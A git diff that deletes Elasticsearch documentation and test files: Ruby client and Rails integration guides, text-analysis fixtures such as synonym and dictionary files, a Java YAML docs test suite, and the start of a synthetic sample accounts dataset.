-
-client.cluster.health
-
-client.index index: 'my-index-00001', type: 'my-document', id: 1, body: { title: 'Test' }
-
-client.indices.refresh index: 'my-index-00001'
-
-client.search index: 'my-index-00001', body: { query: { match: { title: 'test' } } }
-------------------------------------
-
-
-=== Features at a Glance
-
-* Pluggable logging and tracing
-* Pluggable connection selection strategies (round-robin, random, custom)
-* Pluggable transport implementation, customizable and extendable
-* Pluggable serializer implementation
-* Request retries and dead connections handling
-* Node reloading (based on cluster state) on errors or on demand
-* Modular API implementation
-* 100% REST API coverage
-
-
-=== Transport and API
-
-The `elasticsearch` gem combines two separate Rubygems:
-
-* https://github.com/elastic/elasticsearch-ruby/tree/master/elasticsearch-transport[`elasticsearch-transport`]
-provides an HTTP Ruby client for connecting to the Elasticsearch cluster,
-
-* https://github.com/elastic/elasticsearch-ruby/tree/master/elasticsearch-api[`elasticsearch-api`]
-provides a Ruby API for the Elasticsearch RESTful API.
-
-Please see their respective documentation for configuration options and technical details.
-
-Notably, the documentation and comprehensive examples for all the API methods is contained in the source,
-and available online at http://rubydoc.info/gems/elasticsearch-api/Elasticsearch/API/Actions[Rubydoc].
-
-Keep in mind, that for optimal performance, you should use an HTTP library which supports
-persistent ("keep-alive") HTTP connections.
-
-
-=== Extensions
-
-The https://github.com/elastic/elasticsearch-ruby/tree/master/elasticsearch-extensions[`elasticsearch-extensions`]
-Rubygem provides a number of extensions to the core client, such as an API to programmatically launch
-Elasticsearch clusters (eg. for testing purposes), and more.
-
-Please see its
-https://github.com/elastic/elasticsearch-ruby/tree/master/elasticsearch-extensions[documentation]
-for more information.
diff --git a/docs/ruby/copyright.asciidoc b/docs/ruby/copyright.asciidoc
deleted file mode 100644
index 3747cc572e4..00000000000
--- a/docs/ruby/copyright.asciidoc
+++ /dev/null
@@ -1,5 +0,0 @@
-== Copyright and License
-
-This software is Copyright (c) 2013-2018 by Elasticsearch BV.
-
-This is free software, licensed under The Apache License Version 2.0.
diff --git a/docs/ruby/index.asciidoc b/docs/ruby/index.asciidoc
deleted file mode 100644
index cc1defcd304..00000000000
--- a/docs/ruby/index.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-= Ruby And Rails Integrations
-
-include::client.asciidoc[]
-
-include::model.asciidoc[]
-
-include::rails.asciidoc[]
-
-include::persistence.asciidoc[]
-
-include::copyright.asciidoc[]
diff --git a/docs/ruby/model.asciidoc b/docs/ruby/model.asciidoc
deleted file mode 100644
index 0b0be45708f..00000000000
--- a/docs/ruby/model.asciidoc
+++ /dev/null
@@ -1,66 +0,0 @@
-== ActiveModel / ActiveRecord
-
-The `elasticsearch-model` http://rubygems.org/gems/elasticsearch-model[Rubygem]
-provides integration with Ruby domain objects ("models"), commonly found e.g. in Ruby on Rails applications.
-
-It uses the `elasticsearch` Rubygem as the client communicating with the Elasticsearch cluster.
-
-
-=== Features at a Glance
-
-* ActiveModel integration with adapters for ActiveRecord and Mongoid
-* Enumerable-based wrapper for search results
-* ActiveRecord::Relation-based wrapper for returning search results as records
-* Convenience model methods such as `search`, `mapping`, `import`, etc
-* Support for Kaminari and WillPaginate pagination
-* Extension implemented via proxy object to shield model namespace from collisions
-* Convenience methods for (re)creating the index, setting up mappings, indexing documents, ...
-
-
-=== Usage
-
-Add the library to your Gemfile:
-
-[source,ruby]
-------------------------------------
-gem 'elasticsearch-rails'
-------------------------------------
-
-Include the extension module in your model class:
-
-[source,ruby]
-------------------------------------
-class Article < ActiveRecord::Base
-  include Elasticsearch::Model
-end
-------------------------------------
-
-Import some data and perform a search:
-
-[source,ruby]
-------------------------------------
-Article.import
-
-response = Article.search 'fox dog'
-response.took
-# => 3
-------------------------------------
-
-It is possible to either return results as model instances, or decorated documents from Elasticsearch,
-with the `records` and `results` methods, respectively:
-
-[source,ruby]
-------------------------------------
-response.records.first
-# Article Load (0.4ms)  SELECT "articles".* FROM "articles"  WHERE ...
-=> #<Article id: 3, title: "Foo " ...>
-
-response.results.first._score
-# => 0.02250402
-
-response.results.first._source.title
-# => "Quick brown fox"
-------------------------------------
-
-Please see the full https://github.com/elastic/elasticsearch-rails/tree/master/elasticsearch-model[documentation]
-for more information.
diff --git a/docs/ruby/persistence.asciidoc b/docs/ruby/persistence.asciidoc
deleted file mode 100644
index 7d361978ee7..00000000000
--- a/docs/ruby/persistence.asciidoc
+++ /dev/null
@@ -1,226 +0,0 @@
-== Persistence
-
-The `elasticsearch-persistence` http://rubygems.org/gems/elasticsearch-persistence[Rubygem]
-provides persistence layer for Ruby domain objects.
-
-It supports two design patterns for integrating with your objects: _repository_ and _active record_.
-
-=== Repository
-
-The `Elasticsearch::Persistence::Repository` module provides an implementation of the repository pattern and allows to save, delete, find and search objects stored in Elasticsearch, as well as configure mappings and settings for the index.
-
-==== Features At a Glance
-
-* Access to the Elasticsearch client
-* Setting the index name, document type, and object class for deserialization
-* Composing mappings and settings for the index
-* Creating, deleting or refreshing the index
-* Finding or searching for documents
-* Providing access both to domain objects and hits for search results
-* Providing access to the Elasticsearch response for search results (aggregations, total, ...)
-* Defining the methods for serialization and deserialization
-
-==== Usage
-
-Let's have a simple plain old Ruby object (PORO):
-
-[source,ruby]
-------------------------------------
-class Note
-  attr_reader :attributes
-
-  def initialize(attributes={})
-    @attributes = attributes
-  end
-
-  def to_hash
-    @attributes
-  end
-end
-------------------------------------
-
-
-Let's create a default, "dumb" repository, as a first step:
-
-[source,ruby]
-------------------------------------
-require 'elasticsearch/persistence'
-repository = Elasticsearch::Persistence::Repository.new
-------------------------------------
-
-We can save a `Note` instance into the repository, find it, search it, delete it:
-
-[source,ruby]
-------------------------------------
-note = Note.new id: 1, text: 'Test'
-
-repository.save(note)
-# PUT http://localhost:9200/repository/note/1
-# > {"id":1,"text":"Test"}
-# < {"_index":"repository","_type":"note","_id":"1","_version":1,"created":true}
-
-n = repository.find(1)
-# GET http://localhost:9200/repository/_all/1
-# < {"_index":"repository","_type":"note","_id":"1","_version":2,"found":true, "_source" : {"id":1,"text":"Test"}}
-=> <Note:0x007fcbfc0c4980 @attributes={"id"=>1, "text"=>"Test"}>
-
-repository.search(query: { match: { text: 'test' } }).first
-# GET http://localhost:9200/repository/_search
-# > {"query":{"match":{"text":"test"}}}
-# < {"took":2, ... "hits":{"total":1, ... "hits":[{ ... "_source" : {"id":1,"text":"Test"}}]}}
-=> <Note:0x007fcbfc1c7b70 @attributes={"id"=>1, "text"=>"Test"}>
-
-repository.delete(note)
-# DELETE http://localhost:9200/repository/note/1
-# < {"found":true,"_index":"repository","_type":"note","_id":"1","_version":3}
-=> {"found"=>true, "_index"=>"repository", "_type"=>"note", "_id"=>"1", "_version"=>2}
-------------------------------------
-
-The repository module provides a number of features and facilities to configure and customize the behaviour,
-as well as support for extending your own, custom repository class.
-
-Please refer to the
-https://github.com/elastic/elasticsearch-rails/tree/master/elasticsearch-persistence#the-repository-pattern[documentation]
-for more information.
-
-Also, check out the
-https://github.com/elastic/elasticsearch-rails/tree/master/elasticsearch-persistence#example-application[example application] which demonstrates the usage patterns of the _repository_ approach to persistence.
-
-=== Active Record
-
-The `Elasticsearch::Persistence::Model` module provides an implementation of the active record pattern, with
-a familiar interface for using Elasticsearch as a persistence layer in Ruby on Rails applications. The model
-is fully compatible with Rails' conventions and helpers, such as `url_for`.
-
-All the methods are documented with comprehensive examples in the source code, available also
-http://rubydoc.info/gems/elasticsearch-persistence/Elasticsearch/Persistence/Model[online].
-
-==== Features At a Glance
-
-* Familiar interface for persistence methods from ActiveRecord
-* Common model features such as validations and callbacks
-* Methods for defining model attributes, including Elasticsearch mappings
-* Support for fetching data in bulk (`find_in_batches`, `find_each`)
-* Decorated search results for easy access to model instances and meta data (such as highlights or aggregations)
-* Easy access to the underlying gateway and client
-
-==== Usage
-
-To use the library in a Rails application, add it to your Gemfile with a require statement:
-
-[source,ruby]
-------------------------------------
-gem "elasticsearch-persistence", require: 'elasticsearch/persistence/model'
-------------------------------------
-
-Include the module in a plain Ruby class, and set up the properties, mappings, etc:
-
-[source,ruby]
-------------------------------------
-class Article
-  include Elasticsearch::Persistence::Model
-
-  # Define a plain `title` attribute
-  #
-  attribute :title,  String
-
-  # Define an `author` attribute, with multiple analyzers for this field
-  #
-  attribute :author, String, mapping: { fields: {
-                               author: { type: 'string'},
-                               raw:    { type: 'string', analyzer: 'keyword' }
-                             } }
-
-
-  # Define a `views` attribute, with default value
-  #
-  attribute :views,  Integer, default: 0, mapping: { type: 'integer' }
-
-  # Validate the presence of the `title` attribute
-  #
-  validates :title, presence: true
-
-  # Execute code after saving the model.
-  #
-  after_save { puts "Successfully saved: #{self}" }
-end
-------------------------------------
-
-The model attribute definition support is implemented with the https://github.com/solnic/virtus[_Virtus_] Rubygem,
-and the naming, validation, etc. features with the https://github.com/rails/rails/tree/master/activemodel[_ActiveModel_] Rubygem.
-
-Attribute validations work like for any other ActiveModel-compatible implementation:
-
-[source,ruby]
-------------------------------------
-article = Article.new                                                                                             # => #<Article { ... }>
-
-article.valid?
-# => false
-
-article.errors.to_a
-# => ["Title can't be blank"]
-------------------------------------
-
-We can create a new article in the database and find it:
-
-[source,ruby]
-------------------------------------
-Article.create id: 1, title: 'Test', author: 'John'
-# PUT http://localhost:9200/articles/article/1 [status:201, request:0.015s, query:n/a]
-
-article = Article.find(1)
-# => #<Article { ... }>
-
-article._index
-# => "articles"
-
-article.id
-# => "1"
-
-article.title
-# => "Test"
-------------------------------------
-
-To update the model, either update the attribute and save the model or use the `update_attributes` method:
-
-[source,ruby]
-------------------------------------
-article.title = 'Updated'
-
-article.save
-# => {"_index"=>"articles", "_type"=>"article", "_id"=>"1", "_version"=>2, "created"=>false}
-
-article.update_attributes title: 'Test', author: 'Mary'
-# => {"_index"=>"articles", "_type"=>"article", "_id"=>"1", "_version"=>3}
-------------------------------------
-
-The implementation supports the familiar interface for updating model timestamps and numeric attributes:
-
-[source,ruby]
-------------------------------------
-article.touch
-# => => { ... "_version"=>4}
-
-article.views
-# => 0
-
-article.increment :views
-article.views
-# => 1
-------------------------------------
-
-Any callbacks defined in the model will be triggered during the persistence operations:
-
-[source,ruby]
-------------------------------------
-article.save
-# Successfully saved: #<Article {...}>
-------------------------------------
-
-Please see the extensive documentation in the library
-https://github.com/elastic/elasticsearch-rails/tree/master/elasticsearch-persistence#the-activerecord-pattern[README]
-for detailed information.
-
-Also, check out the
-https://github.com/elastic/elasticsearch-rails/tree/master/elasticsearch-persistence#example-application-1[example application] which demonstrates the usage patterns of the _active record_ approach to persistence.
diff --git a/docs/ruby/rails.asciidoc b/docs/ruby/rails.asciidoc
deleted file mode 100644
index 1fef3f42381..00000000000
--- a/docs/ruby/rails.asciidoc
+++ /dev/null
@@ -1,16 +0,0 @@
-== Ruby On Rails
-
-The `elasticsearch-rails` http://rubygems.org/gems/elasticsearch-rails[Rubygem]
-provides features suitable for Ruby on Rails applications.
-
-=== Features at a Glance
-
-* Rake tasks for importing data from application models
-* Integration with Rails' instrumentation framework
-* Templates for generating example Rails application
-
-=== Example applications
-
-You can generate a fully working example Ruby on Rails application with templates provides.
-
-Please refer to the https://github.com/elastic/elasticsearch-rails/tree/master/elasticsearch-rails[documentation] for more information.
diff --git a/docs/src/test/cluster/config/KeywordTokenizer.rbbi b/docs/src/test/cluster/config/KeywordTokenizer.rbbi
deleted file mode 100644
index b08617c8991..00000000000
--- a/docs/src/test/cluster/config/KeywordTokenizer.rbbi
+++ /dev/null
@@ -1 +0,0 @@
-.+ {200};
diff --git a/docs/src/test/cluster/config/analysis/example_word_list.txt b/docs/src/test/cluster/config/analysis/example_word_list.txt
deleted file mode 100644
index f79aea42af2..00000000000
--- a/docs/src/test/cluster/config/analysis/example_word_list.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-test
-list
-of
-words
diff --git a/docs/src/test/cluster/config/analysis/hyphenation_patterns.xml b/docs/src/test/cluster/config/analysis/hyphenation_patterns.xml
deleted file mode 100644
index 6241b3fc6cc..00000000000
--- a/docs/src/test/cluster/config/analysis/hyphenation_patterns.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE hyphenation-info SYSTEM "hyphenation.dtd">
-
-<!-- Example hyphenation patterns file. -->
-
-<hyphenation-info>
-
-<hyphen-char value="-"/>
-<hyphen-min before="2" after="2"/>
-
-<classes>
-aA
-</classes>
-
-<exceptions>
-</exceptions>
-
-<patterns>
-.a2
-</patterns>
-</hyphenation-info>
diff --git a/docs/src/test/cluster/config/analysis/stemmer_override.txt b/docs/src/test/cluster/config/analysis/stemmer_override.txt
deleted file mode 100644
index 8e91b4c87cb..00000000000
--- a/docs/src/test/cluster/config/analysis/stemmer_override.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-running, runs => run
-
-stemmer => stemmer
diff --git a/docs/src/test/cluster/config/analysis/synonym.txt b/docs/src/test/cluster/config/analysis/synonym.txt
deleted file mode 100644
index b51d975d8f5..00000000000
--- a/docs/src/test/cluster/config/analysis/synonym.txt
+++ /dev/null
@@ -1,31 +0,0 @@
-# Blank lines and lines starting with pound are comments.
-
-# Explicit mappings match any token sequence on the LHS of "=>"
-# and replace with all alternatives on the RHS.  These types of mappings
-# ignore the expand parameter in the schema.
-# Examples:
-i-pod, i pod => ipod,
-sea biscuit, sea biscit => seabiscuit
-
-# Equivalent synonyms may be separated with commas and give
-# no explicit mapping.  In this case the mapping behavior will
-# be taken from the expand parameter in the schema.  This allows
-# the same synonym file to be used in different synonym handling strategies.
-# Examples:
-ipod, i-pod, i pod
-foozball , foosball
-universe , cosmos
-lol, laughing out loud
-
-# If expand==true, "ipod, i-pod, i pod" is equivalent
-# to the explicit mapping:
-ipod, i-pod, i pod => ipod, i-pod, i pod
-# If expand==false, "ipod, i-pod, i pod" is equivalent
-# to the explicit mapping:
-ipod, i-pod, i pod => ipod
-
-# Multiple synonym mapping entries are merged.
-foo => foo bar
-foo => baz
-# is equivalent to
-foo => foo bar, baz
diff --git a/docs/src/test/cluster/config/userdict_ja.txt b/docs/src/test/cluster/config/userdict_ja.txt
deleted file mode 100644
index 7fe69d2b8d8..00000000000
--- a/docs/src/test/cluster/config/userdict_ja.txt
+++ /dev/null
@@ -1 +0,0 @@
-東京スカイツリー,東京 スカイツリー,トウキョウ スカイツリー,カスタム名詞
diff --git a/docs/src/test/cluster/config/userdict_ko.txt b/docs/src/test/cluster/config/userdict_ko.txt
deleted file mode 100644
index 63c1c3a1e22..00000000000
--- a/docs/src/test/cluster/config/userdict_ko.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-# Additional nouns
-c++
-C샤프
-세종
-세종시 세종 시
\ No newline at end of file
diff --git a/docs/src/test/java/org/elasticsearch/smoketest/DocsClientYamlTestSuiteIT.java b/docs/src/test/java/org/elasticsearch/smoketest/DocsClientYamlTestSuiteIT.java
deleted file mode 100644
index 8f1fe57d22a..00000000000
--- a/docs/src/test/java/org/elasticsearch/smoketest/DocsClientYamlTestSuiteIT.java
+++ /dev/null
@@ -1,300 +0,0 @@
-/*
- * Licensed to Elasticsearch under one or more contributor
- * license agreements. See the NOTICE file distributed with
- * this work for additional information regarding copyright
- * ownership. Elasticsearch licenses this file to you under
- * the Apache License, Version 2.0 (the "License"); you may
- * not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *    http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied.  See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
-
-package org.elasticsearch.smoketest;
-
-import com.carrotsearch.randomizedtesting.annotations.Name;
-import com.carrotsearch.randomizedtesting.annotations.ParametersFactory;
-import com.carrotsearch.randomizedtesting.annotations.TimeoutSuite;
-import org.apache.http.HttpHost;
-import org.apache.http.util.EntityUtils;
-import org.apache.lucene.util.BytesRef;
-import org.apache.lucene.util.TimeUnits;
-import org.elasticsearch.Version;
-import org.elasticsearch.client.Request;
-import org.elasticsearch.client.RestClient;
-import org.elasticsearch.common.ParseField;
-import org.elasticsearch.common.xcontent.ConstructingObjectParser;
-import org.elasticsearch.common.xcontent.NamedXContentRegistry;
-import org.elasticsearch.common.xcontent.XContentLocation;
-import org.elasticsearch.common.xcontent.XContentParser;
-import org.elasticsearch.common.xcontent.XContentParser.Token;
-import org.elasticsearch.test.rest.ESRestTestCase;
-import org.elasticsearch.test.rest.yaml.ClientYamlDocsTestClient;
-import org.elasticsearch.test.rest.yaml.ClientYamlTestCandidate;
-import org.elasticsearch.test.rest.yaml.ClientYamlTestClient;
-import org.elasticsearch.test.rest.yaml.ClientYamlTestExecutionContext;
-import org.elasticsearch.test.rest.yaml.ClientYamlTestResponse;
-import org.elasticsearch.test.rest.yaml.ESClientYamlSuiteTestCase;
-import org.elasticsearch.test.rest.yaml.restspec.ClientYamlSuiteRestSpec;
-import org.elasticsearch.test.rest.yaml.section.ExecutableSection;
-import org.junit.After;
-import org.junit.Before;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-
-import static java.util.Collections.emptyMap;
-import static java.util.Collections.singletonList;
-import static java.util.Collections.singletonMap;
-import static org.elasticsearch.common.xcontent.ConstructingObjectParser.constructorArg;
-
-//The default 20 minutes timeout isn't always enough, but Darwin CI hosts are incredibly slow...
-@TimeoutSuite(millis = 40 * TimeUnits.MINUTE)
-public class DocsClientYamlTestSuiteIT extends ESClientYamlSuiteTestCase {
-
-    public DocsClientYamlTestSuiteIT(@Name("yaml") ClientYamlTestCandidate testCandidate) {
-        super(testCandidate);
-    }
-
-    @ParametersFactory
-    public static Iterable<Object[]> parameters() throws Exception {
-        List<NamedXContentRegistry.Entry> entries = new ArrayList<>(ExecutableSection.DEFAULT_EXECUTABLE_CONTEXTS.size() + 1);
-        entries.addAll(ExecutableSection.DEFAULT_EXECUTABLE_CONTEXTS);
-        entries.add(new NamedXContentRegistry.Entry(ExecutableSection.class,
-                new ParseField("compare_analyzers"), CompareAnalyzers::parse));
-        NamedXContentRegistry executableSectionRegistry = new NamedXContentRegistry(entries);
-        return ESClientYamlSuiteTestCase.createParameters(executableSectionRegistry);
-    }
-
-    @Override
-    protected void afterIfFailed(List<Throwable> errors) {
-        super.afterIfFailed(errors);
-        String name = getTestName().split("=")[1];
-        name = name.substring(0, name.length() - 1);
-        name = name.replaceAll("/([^/]+)$", ".asciidoc:$1");
-        logger.error("This failing test was generated by documentation starting at {}. It may include many snippets. "
-                + "See docs/README.asciidoc for an explanation of test generation.", name);
-    }
-
-    @Override
-    protected boolean randomizeContentType() {
-        return false;
-    }
-
-    @Override
-    protected ClientYamlTestClient initClientYamlTestClient(
-            final ClientYamlSuiteRestSpec restSpec,
-            final RestClient restClient,
-            final List<HttpHost> hosts,
-            final Version esVersion,
-            final Version masterVersion) {
-        return new ClientYamlDocsTestClient(restSpec, restClient, hosts, esVersion, masterVersion, this::getClientBuilderWithSniffedHosts);
-    }
-
-    @Before
-    public void waitForRequirements() throws Exception {
-        if (isCcrTest() || isGetLicenseTest() || isXpackInfoTest()) {
-            ESRestTestCase.waitForActiveLicense(adminClient());
-        }
-    }
-
-    @After
-    public void cleanup() throws Exception {
-        if (isMachineLearningTest() || isTransformTest()) {
-            ESRestTestCase.waitForPendingTasks(adminClient());
-        }
-
-        // check that there are no templates
-        Request request = new Request("GET", "_cat/templates");
-        request.addParameter("h", "name");
-        String templates = EntityUtils.toString(adminClient().performRequest(request).getEntity());
-        if (false == "".equals(templates)) {
-            for (String template : templates.split("\n")) {
-                if (isXPackTemplate(template)) continue;
-                if ("".equals(template)) {
-                    throw new IllegalStateException("empty template in templates list:\n" + templates);
-                }
-                throw new RuntimeException("Template " + template + " not cleared after test");
-            }
-        }
-    }
-
-    @Override
-    protected boolean preserveSLMPoliciesUponCompletion() {
-        return isSLMTest() == false;
-    }
-
-    @Override
-    protected boolean preserveILMPoliciesUponCompletion() {
-        return isILMTest() == false;
-    }
-
-    /**
-     * Tests are themselves responsible for cleaning up templates, which speeds up build.
-     */
-    @Override
-    protected boolean preserveTemplatesUponCompletion() {
-        return true;
-    }
-
-    protected boolean isSLMTest() {
-        String testName = getTestName();
-        return testName != null && (testName.contains("/slm/") || testName.contains("\\slm\\") || (testName.contains("\\slm/")) ||
-            // TODO: Remove after backport of https://github.com/elastic/elasticsearch/pull/48705 which moves SLM docs to correct folder
-            testName.contains("/ilm/") || testName.contains("\\ilm\\") || testName.contains("\\ilm/"));
-    }
-
-    protected boolean isILMTest() {
-        String testName = getTestName();
-        return testName != null && (testName.contains("/ilm/") || testName.contains("\\ilm\\") || testName.contains("\\ilm/"));
-    }
-
-    protected boolean isMachineLearningTest() {
-        String testName = getTestName();
-        return testName != null && (testName.contains("/ml/") || testName.contains("\\ml\\"));
-    }
-
-    protected boolean isTransformTest() {
-        String testName = getTestName();
-        return testName != null && (testName.contains("/transform/") || testName.contains("\\transform\\"));
-    }
-
-    protected boolean isCcrTest() {
-        String testName = getTestName();
-        return testName != null && testName.contains("/ccr/");
-    }
-
-    protected boolean isGetLicenseTest() {
-        String testName = getTestName();
-        return testName != null && (testName.contains("/get-license/") || testName.contains("\\get-license\\"));
-    }
-
-    protected boolean isXpackInfoTest() {
-        String testName = getTestName();
-        return testName != null && (testName.contains("/info/") || testName.contains("\\info\\"));
-    }
-
-    /**
-     * Compares the results of running two analyzers against many random
-     * strings. The goal is to figure out if two anlayzers are "the same" by
-     * comparing their results. This is far from perfect but should be fairly
-     * accurate, especially for gross things like missing {@code decimal_digit}
-     * token filters, and should be fairly fast because it compares a fairly
-     * small number of tokens.
-     */
-    private static class CompareAnalyzers implements ExecutableSection {
-        private static final ConstructingObjectParser<CompareAnalyzers, XContentLocation> PARSER =
-            new ConstructingObjectParser<>("test_analyzer", false, (a, location) -> {
-                String index = (String) a[0];
-                String first = (String) a[1];
-                String second = (String) a[2];
-                return new CompareAnalyzers(location, index, first, second);
-            });
-        static {
-            PARSER.declareString(constructorArg(), new ParseField("index"));
-            PARSER.declareString(constructorArg(), new ParseField("first"));
-            PARSER.declareString(constructorArg(), new ParseField("second"));
-        }
-        private static CompareAnalyzers parse(XContentParser parser) throws IOException {
-            XContentLocation location = parser.getTokenLocation();
-            CompareAnalyzers section = PARSER.parse(parser, location);
-            assert parser.currentToken() == Token.END_OBJECT : "End of object required";
-            parser.nextToken(); // throw out the END_OBJECT to conform with other ExecutableSections
-            return section;
-        }
-
-        private final XContentLocation location;
-        private final String index;
-        private final String first;
-        private final String second;
-
-        private CompareAnalyzers(XContentLocation location, String index, String first, String second) {
-            this.location = location;
-            this.index = index;
-            this.first = first;
-            this.second = second;
-        }
-
-        @Override
-        public XContentLocation getLocation() {
-            return location;
-        }
-
-        @Override
-        public void execute(ClientYamlTestExecutionContext executionContext) throws IOException {
-            int size = 100;
-            int maxLength = 15;
-            List<String> testText = new ArrayList<>(size);
-            for (int i = 0; i < size; i++) {
-                /**
-                 * Build a string with a few unicode sequences separated by
-                 * spaces. The unicode sequences aren't going to be of the same
-                 * code page which is a shame because it makes the entire
-                 * string less realistic. But this still provides a fairly
-                 * nice string to compare.
-                 */
-                int spaces = between(0, 5);
-                StringBuilder b = new StringBuilder((spaces + 1) * maxLength);
-                b.append(randomRealisticUnicodeOfCodepointLengthBetween(1, maxLength));
-                for (int t = 0; t < spaces; t++) {
-                    b.append(' ');
-                    b.append(randomRealisticUnicodeOfCodepointLengthBetween(1, maxLength));
-                }
-                testText.add(b.toString()
-                    // Don't look up stashed values
-                    .replace("$", "\\$"));
-            }
-            Map<String, Object> body = new HashMap<>(2);
-            body.put("analyzer", first);
-            body.put("text", testText);
-            ClientYamlTestResponse response = executionContext.callApi("indices.analyze", singletonMap("index", index),
-                    singletonList(body), emptyMap());
-            Iterator<?> firstTokens = ((List<?>) response.evaluate("tokens")).iterator();
-            body.put("analyzer", second);
-            response = executionContext.callApi("indices.analyze", singletonMap("index", index),
-                    singletonList(body), emptyMap());
-            Iterator<?> secondTokens = ((List<?>) response.evaluate("tokens")).iterator();
-
-            Object previousFirst = null;
-            Object previousSecond = null;
-            while (firstTokens.hasNext()) {
-                if (false == secondTokens.hasNext()) {
-                    fail(second + " has fewer tokens than " + first + ". "
-                        + first + " has [" + firstTokens.next() + "] but " + second + " is out of tokens. "
-                        + first + "'s last token was [" + previousFirst + "] and "
-                        + second + "'s last token was' [" + previousSecond + "]");
-                }
-                Map<?, ?> firstToken = (Map<?, ?>) firstTokens.next();
-                Map<?, ?> secondToken = (Map<?, ?>) secondTokens.next();
-                String firstText = (String) firstToken.get("token");
-                String secondText = (String) secondToken.get("token");
-                // Check the text and produce an error message with the utf8 sequence if they don't match.
-                if (false == secondText.equals(firstText)) {
-                    fail("text differs: " + first + " was [" + firstText + "] but " + second + " was [" + secondText
-                        + "]. In utf8 those are\n" + new BytesRef(firstText) + " and\n" + new BytesRef(secondText));
-                }
-                // Now check the whole map just in case the text matches but something else differs
-                assertEquals(firstToken, secondToken);
-                previousFirst = firstToken;
-                previousSecond = secondToken;
-            }
-            if (secondTokens.hasNext()) {
-                fail(second + " has more tokens than " + first + ". "
-                    + second + " has [" + secondTokens.next() + "] but " + first + " is out of tokens. "
-                    + first + "'s last token was [" + previousFirst + "] and "
-                    + second + "'s last token was' [" + previousSecond + "]");
-            }
-        }
-    }
-}
diff --git a/docs/src/test/resources/accounts.json b/docs/src/test/resources/accounts.json
deleted file mode 100644
index 28b2b82c3f5..00000000000
--- a/docs/src/test/resources/accounts.json
+++ /dev/null
@@ -1,2000 +0,0 @@
-{"index":{"_id":"1"}}
-{"account_number":1,"balance":39225,"firstname":"Amber","lastname":"Duke","age":32,"gender":"M","address":"880 Holmes Lane","employer":"Pyrami","email":"amberduke@pyrami.com","city":"Brogan","state":"IL"}
-{"index":{"_id":"6"}}
-{"account_number":6,"balance":5686,"firstname":"Hattie","lastname":"Bond","age":36,"gender":"M","address":"671 Bristol Street","employer":"Netagy","email":"hattiebond@netagy.com","city":"Dante","state":"TN"}
-{"index":{"_id":"13"}}
-{"account_number":13,"balance":32838,"firstname":"Nanette","lastname":"Bates","age":28,"gender":"F","address":"789 Madison Street","employer":"Quility","email":"nanettebates@quility.com","city":"Nogal","state":"VA"}
-{"index":{"_id":"18"}}
-{"account_number":18,"balance":4180,"firstname":"Dale","lastname":"Adams","age":33,"gender":"M","address":"467 Hutchinson Court","employer":"Boink","email":"daleadams@boink.com","city":"Orick","state":"MD"}
-{"index":{"_id":"20"}}
-{"account_number":20,"balance":16418,"firstname":"Elinor","lastname":"Ratliff","age":36,"gender":"M","address":"282 Kings Place","employer":"Scentric","email":"elinorratliff@scentric.com","city":"Ribera","state":"WA"}
-{"index":{"_id":"25"}}
-{"account_number":25,"balance":40540,"firstname":"Virginia","lastname":"Ayala","age":39,"gender":"F","address":"171 Putnam Avenue","employer":"Filodyne","email":"virginiaayala@filodyne.com","city":"Nicholson","state":"PA"}
-{"index":{"_id":"32"}}
-{"account_number":32,"balance":48086,"firstname":"Dillard","lastname":"Mcpherson","age":34,"gender":"F","address":"702 Quentin Street","employer":"Quailcom","email":"dillardmcpherson@quailcom.com","city":"Veguita","state":"IN"}
-{"index":{"_id":"37"}}
-{"account_number":37,"balance":18612,"firstname":"Mcgee","lastname":"Mooney","age":39,"gender":"M","address":"826 Fillmore Place","employer":"Reversus","email":"mcgeemooney@reversus.com","city":"Tooleville","state":"OK"}
-{"index":{"_id":"44"}}
-{"account_number":44,"balance":34487,"firstname":"Aurelia","lastname":"Harding","age":37,"gender":"M","address":"502 Baycliff Terrace","employer":"Orbalix","email":"aureliaharding@orbalix.com","city":"Yardville","state":"DE"}
-{"index":{"_id":"49"}}
-{"account_number":49,"balance":29104,"firstname":"Fulton","lastname":"Holt","age":23,"gender":"F","address":"451 Humboldt Street","employer":"Anocha","email":"fultonholt@anocha.com","city":"Sunriver","state":"RI"}
-{"index":{"_id":"51"}}
-{"account_number":51,"balance":14097,"firstname":"Burton","lastname":"Meyers","age":31,"gender":"F","address":"334 River Street","employer":"Bezal","email":"burtonmeyers@bezal.com","city":"Jacksonburg","state":"MO"}
-{"index":{"_id":"56"}}
-{"account_number":56,"balance":14992,"firstname":"Josie","lastname":"Nelson","age":32,"gender":"M","address":"857 Tabor Court","employer":"Emtrac","email":"josienelson@emtrac.com","city":"Sunnyside","state":"UT"}
-{"index":{"_id":"63"}}
-{"account_number":63,"balance":6077,"firstname":"Hughes","lastname":"Owens","age":30,"gender":"F","address":"510 Sedgwick Street","employer":"Valpreal","email":"hughesowens@valpreal.com","city":"Guilford","state":"KS"}
-{"index":{"_id":"68"}}
-{"account_number":68,"balance":44214,"firstname":"Hall","lastname":"Key","age":25,"gender":"F","address":"927 Bay Parkway","employer":"Eventex","email":"hallkey@eventex.com","city":"Shawmut","state":"CA"}
-{"index":{"_id":"70"}}
-{"account_number":70,"balance":38172,"firstname":"Deidre","lastname":"Thompson","age":33,"gender":"F","address":"685 School Lane","employer":"Netplode","email":"deidrethompson@netplode.com","city":"Chestnut","state":"GA"}
-{"index":{"_id":"75"}}
-{"account_number":75,"balance":40500,"firstname":"Sandoval","lastname":"Kramer","age":22,"gender":"F","address":"166 Irvington Place","employer":"Overfork","email":"sandovalkramer@overfork.com","city":"Limestone","state":"NH"}
-{"index":{"_id":"82"}}
-{"account_number":82,"balance":41412,"firstname":"Concetta","lastname":"Barnes","age":39,"gender":"F","address":"195 Bayview Place","employer":"Fitcore","email":"concettabarnes@fitcore.com","city":"Summerfield","state":"NC"}
-{"index":{"_id":"87"}}
